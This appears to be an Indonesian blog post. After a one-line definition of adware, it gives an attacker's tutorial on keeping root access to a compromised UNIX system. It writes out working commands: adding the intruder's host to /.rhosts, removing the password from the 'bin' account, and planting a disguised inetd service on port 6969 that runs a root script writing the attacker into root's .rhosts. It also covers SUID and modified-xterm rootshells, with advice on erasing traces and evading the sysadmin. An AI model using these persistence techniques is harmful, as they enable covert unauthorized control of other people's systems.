ADWARE
Adware adalah iklan yang dimasukan secara tersembunyi oleh pembuatprogram. Umumnya program diberikan secara gratis, tetapi dengan kompensasi pemakai harus menerima iklan pada program.
BACK DOOR TROJAN
Seperti terjemahan harfiahnya, backdoor bisa dianggap 'pintu masuk lewat belakang'. Backdoor berfungsi untuk memberikan sang programmer akses ke suatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentu saja sang programer di sini bisa juga diartikan 'sang penyusup'. Seringkali backdoor memberikan akses tak terbatas kepada siapapun juga yang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar (baik hardware maupun software ) yang sengaja menempatkan backdoor tak terdokumentasi untuk kemudahan 'maintenance' dan sejenisnya, dalam artikel ini yang dimaksud adalah backdoor dalam artian memberikan akses root ke dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan menyadari bahwa ada penyerang di dalam sistem.
Kamu sudah semalaman begadang, mencoba eksploit-eksploit remote, dan berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera menjalankan eksploit-eksploit lokal untuk mengambil alih kekuasaan root. Tentunya sayang jika saat sang sysadmin kembali bekerja di keesokan harinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satu atau lebih jalan masuk 'alternatif'. Jelas, sebagian besar teknik-teknik backdooring hanya bisa diterapkan jika kamu mempunyai perizinan root.
Ingat, bahwa tujuan membuat backdoor bukanlah untuk mendapatkan akses root, tetapi untuk mendapatkan akses root LAGI setelah sang sysadmin menutup segala jalan masuk normal. Terkadang sysadmin sering menganggap selama file-file /etc/hosts.deny telah dikonfigurasi, maka segala koneksi dari host kamu akan ditolak. Tentu saja kalian-kalian, sang cracker, kelihaian kung fu nya jauh di atas sang sysadmin, sebab tanpa sepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatif dengan privilese root.
Nah, backdoor backdoor ini ada yang memang sudah dari sononya (seperti Backdoor di router-router, printserver, dll buatan 3Com), namun disini akan kami jelaskan cara membuat backdoor kamu sendiri di sebuah sistem UNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah dengan melalui file /.rhosts:
korban# echo "indohack2.ri.go.id ganjaman" >> /.rhosts
perintah diatas akan menambah satu entri di file .rhosts (sistem luar-dalam contoh diatas user ganjaman dari indohack2.ri.go.id - yang bolehmengakses account tanpa password), dan untuk masuk kembali ke sistem dari account "ganjaman" di indohack2.ri.go.id :
ganjaman@indohack2> rlogin -l root korban.lameisp.net.id poof! shell root tanpa password!
Untuk kalian yang ingin sedikit lebih tersembunyi lagi, coba perhatikan entri berikut dari file /etc/passwd sebuah sistem:
bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false
tentunya bagi mereka yang sering memanen password entri seperti di atas sudah tidak asing lagi. Account diatas adalah account yang digunakan oleh UNIX sistem secara internal. Seringkali banyak diantara crackers yang mengambil jalan singkat dan menghapus karakter *, mengakibatkan telnet dengan nama login "bin" tidak memerlukan password. Tapi ingatlah bahwa file /etc/passwd biasanya adalah file pertama yang akan diperiksa oleh sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar kita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di home directory milik bin. Kembali ke entri file password diatas, bisa kita lihat bahwa walaupun kita bisa me- rlogin -l bin korban.lameisp.net.id, namun kita masih juga tidak bisa mendapatkan shell sebab account 'bin' dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masalah ini tentunya dengan membuat link dari /bin/false ke /bin/sh atau /bin/tcsh. Apa daya seorang sysadmin? Tentunya jika mereka memang keren kung fu nya, sang sysadmin akan mensetup sebuah skrip yang memeriksa keberadaan file-file .rhosts di dalam sebuah sistem. Tak lupa merubah entri dari account-account internal dari /bin/false ke /nggak-ada-tuh atau string unik lainnya yang bukan merupakan nama file.
Metode backdooring lain adalah dengan memanfaatkan "in.rootd" (sebenernya ini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, nggak ada tuh yang namanya root daemon - tapi metode ini benar-benar cocok disebut rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat salah satu port yang didefinisikan dalam "inetd":
root@korban# echo "ntcp 6969/tcp # Network Traffic Control Protocol" >> /etc/services root@korban# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >> /etc/inetd.conf root@korban# echo "echo indohack2.ri.go.id > ~root/.rhosts" > /tmp/crax0r menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem yang cukup dahsyat, namun tidak akan segera tampak. Penjelasan dari ketiga perintah diatas:
1. Mengaktifkan protokol ntcp di port 6969 (tentunya kamu memilih nomor port lain yang tidak begitu mencurigakan, silakan pilih mulai dari 1024 sampai 65000-an), sedangkan "Network Traffic Control Protocol" adalah karangan kamu sendiri sebab setiap service harus punya nama, dan biasanya sysadmin tidak akan begitu curiga dengan nama seperti itu.
2. Memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r setiapkali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya mengeksekusi sebuah shell berprivilese root lewat cara ini hanya akan mengakibatkan sang sistem bengong, sebab kita tidak bisa memberikan perintah-perintah selayaknya kita login lewat jalur normal. Sang shell akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita. Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamu lebih pintar dan memilih nama yang tidak begitu mencurigakan seperti /tmp/dev001).
3. Nah, perintah ketiga ini lah yang akan dieksekusi oleh sang shell yang baru saja kita luncurkan (id=0 - root!). Tentunya kamu bisa saja menulis skrip yang lebih kompleks. Namun untuk menghemat tempat, kita lancarkan saja perintah yang sudah dibahas diatas, yaitu menambahkan entri dari mesin host kita ke file .rhosts milik root.
Tentu jika sang admin memang keren kung funya, rlogind akan dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kamu periksa isi direktori dan file "history" milik root dan isinya menunjukkan bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas akan memberikan jalan masuk lewat belakang ke dalam sistem target. Sekarang kamu tinggal: ganjaman@indohack2> telnet korban.lameisp.net.id 6969
Sistem kamu akan tersambung ke sistem target lewat port 6969, sedangkan daemon inet di mesin korban akan menerima sambungan tersebut, menjalankan perintah dalam skrip /tmp/crax0r dengan privilese root, dan dengan segera menutup kembali sambungan telnet. Sekarang .rhosts milik root sudah ditambahi satu entri lagi, yaitu nama host kamu. Untuk kembali menggarap sistem target (sebaiknya dilakukan saat itu juga, sebab sang sysadmin mungkin akan curiga melihat skrip 'asing' dijalankan lewat port 6969) kamu tinggal: ganjaman@indohack2> rlogin -l root korban.lameisp.net.id dan, BOOM! korban#
Shell root tanpa password! (Nah, sekarang kamu boleh kirim surat penggemar ke indohack@hotmail.com, bertitel "Terimakasih, suhu Ganjaman dan SuperCock, atas ilmu ngent... engin badannya ..." :) ). Tapi ingatlah untuk segera menghapus file .rhosts dan jejak jejak lain. Tentunya kalau kung fu kamu emang udah cukup tinggi, teknik menyembunyikan diri dan antideteksi udah bukan barang asing bagi kamu, jadi, jangan lupa aktifkan segala spoofer program, dll. Kalau kamu benar-benar suka mengutak-utik, serangan bisa dibuat dengan lebih tersembunyi lagi, seperti dengan memanfaatkan service-service yang jarang (hampir tidak pernah dipakai) seperti utilitas-utilitas X, segala utilitas berkepala "r", dan banyak lagi.
Metode lain yang cukup populer adalah dengan membuat sebuah file dengan bit SUID tambahan, namun cara ini gampang terdeteksi jika kebetulan sistem mempunyai program audit keamanan yang akan mensensus seluruh file berbit SUID yang terletak diluar lokasi-lokasi wajar (seperti /tmp atau lokasi homedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatu program yang sudah berjalan / terinstal secara default, seperti xterm dan splitvt, sehingga sebuah option rootshell akan secara otomatis execv("/bin/sh", "sh", NULL);.
No comments:
Post a Comment